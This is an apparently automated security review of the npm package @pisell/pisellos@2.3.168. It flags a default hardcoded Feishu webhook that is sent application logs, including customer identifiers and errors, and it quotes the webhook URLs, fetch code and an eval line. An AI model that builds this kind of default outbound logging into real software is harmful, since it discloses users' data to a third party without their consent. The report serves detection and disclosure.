@pisell/pisellos@2.3.168
一个可扩展的前端模块化SDK框架，支持插件系统
AI Security Review
scanned 10d ago · by lpm-firewall-aiSource confirms a default publisher-selected webhook receives application logs, including customer identifiers and error details, without a recipient-specific consent guard. This is concrete data disclosure behavior, so the package should be blocked.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review
Trigger
Initializing ScanOrder without caller-supplied logger configuration, followed by a logged operation such as customer login or an error.
Impact
Customer and application diagnostic data can be disclosed to a recipient selected by the package publisher without recipient-specific consent.
Mechanism
ScanOrder selects the Feishu provider and falls back to a fixed webhook; the logger serializes record context and payload and posts them to that destination.
Attack narrative
When ScanOrder initializes without an override, it configures the Feishu logger with a fixed webhook. Logged records are serialized and posted there; a customer-login log includes the customer identifier, and error logs include serialized error data. This creates an active, default-on disclosure path to a recipient selected by the package publisher.
AI rationale
Source confirms a default publisher-selected webhook receives application logs, including customer identifiers and error details, without a recipient-specific consent guard. This is concrete data disclosure behavior, so the package should be blocked.
Evidence
dist/solution/ScanOrder/index.jsdist/modules/ScanOrderLogger/index.jsdist/modules/ScanOrderLogger/providers/feishu.js
Network endpoints1
open.feishu.cn/open-apis/bot/v2/hook/216b3fe6-af98-424e-8706-f0471241a7ed
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- ScanOrder creates a logger submodule and defaults to the Feishu provider when no provider is configured.
- During ScanOrder initialization, a publisher-supplied Feishu webhook becomes the logger destination unless the caller supplies logger configuration.
- The logger sends records to its provider; the Feishu provider serializes record context and payload, then posts them to the webhook.
- A customer-login log includes the customer identifier, and error logs include serialized error data.
Evidence against
- Callers can override the logger provider and configuration, but the code uses the publisher-supplied webhook when no configuration is provided.
Behavioral surface
EnvironmentVarsEvalNetwork
HighEntropyStringsUrlStrings
Source & flagged code
5 flagged · loading sourcedist/plugins/window.jsView file
•matchType = normalized_sha256
matchedPackage = @pisell/pisellos@0.10.70
matchedPath = dist/plugins/window.js
matchedIdentity = npm:QHBpc2VsbC9waXNlbGxvcw:0.10.70
similarity = 1.000
summary = normalized source hash matched finalized malicious source
High
Known Malware Source Similarity
Source file is highly similar to a previously finalized malicious package; route for source-aware review.
dist/plugins/window.jsView on unpkg248} else {
L249: eval(handler);
L250: }
Low
Eval
Package source references a known benign dynamic code generation pattern.
dist/plugins/window.jsView on unpkg · L248dist/solution/ScanOrder/index.jsView file
•Default hardcoded logging webhook in dist/solution/ScanOrder/index.js:
this.store.scanOrderLogger.setProviderConfig(((_this$otherParams5 = this.otherParams) === null || _this$otherParams5 === void 0 ? void 0 : _this$otherParams5.scanOrderLoggerConfig)...
webhook: 'https://open.feishu.cn/open-apis/bot/v2/hook/216b3fe6-af98-424e-8706-f0471241a7ed',
errorHook: 'https://open.feishu.cn/open-apis/bot/v2/hook/015b7c2a-dd3c-4c30-9898-ef0f5253111f'
Rich runtime records posted to the webhook in [redacted].js:
var context = record.context || {};
text: "\u65E5\u5FD7\u5185\u5BB9: ".concat(safeStringify(record.payload), "\n")
text: "\u6269\u5C55\u4FE1\u606F: ".concat(safeStringify(record.extra), "\n")
return fetch(webhook, {
Reachable runtime logger calls in dist/modules/Order/index.js:
this.logger.addL
Findings
1 Critical3 High3 Medium5 Low
CriticalHardcoded Runtime Data Exfiltrationdist/solution/ScanOrder/index.js
HighSemantic Analysis Limitedlib/solution/RegisterAndLogin/utils.js#virtual:normalized:round1
HighKnown Malware Source Similaritydist/plugins/window.js
HighAi Review Evidencedist/solution/ScanOrder/index.js
MediumNetwork
MediumEnvironment Vars
MediumStructural Risk Force Deep Review
LowNon Install Lifecycle Scripts
LowScripts Present
LowEvaldist/plugins/window.js
LowHigh Entropy Strings
LowUrl Strings
Affected versions and remediation
This report applies to @pisell/pisellos@2.3.168.
See all versions of @pisell/pisellos for other recorded verdicts.
- Avoid installing @pisell/pisellos@2.3.168. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.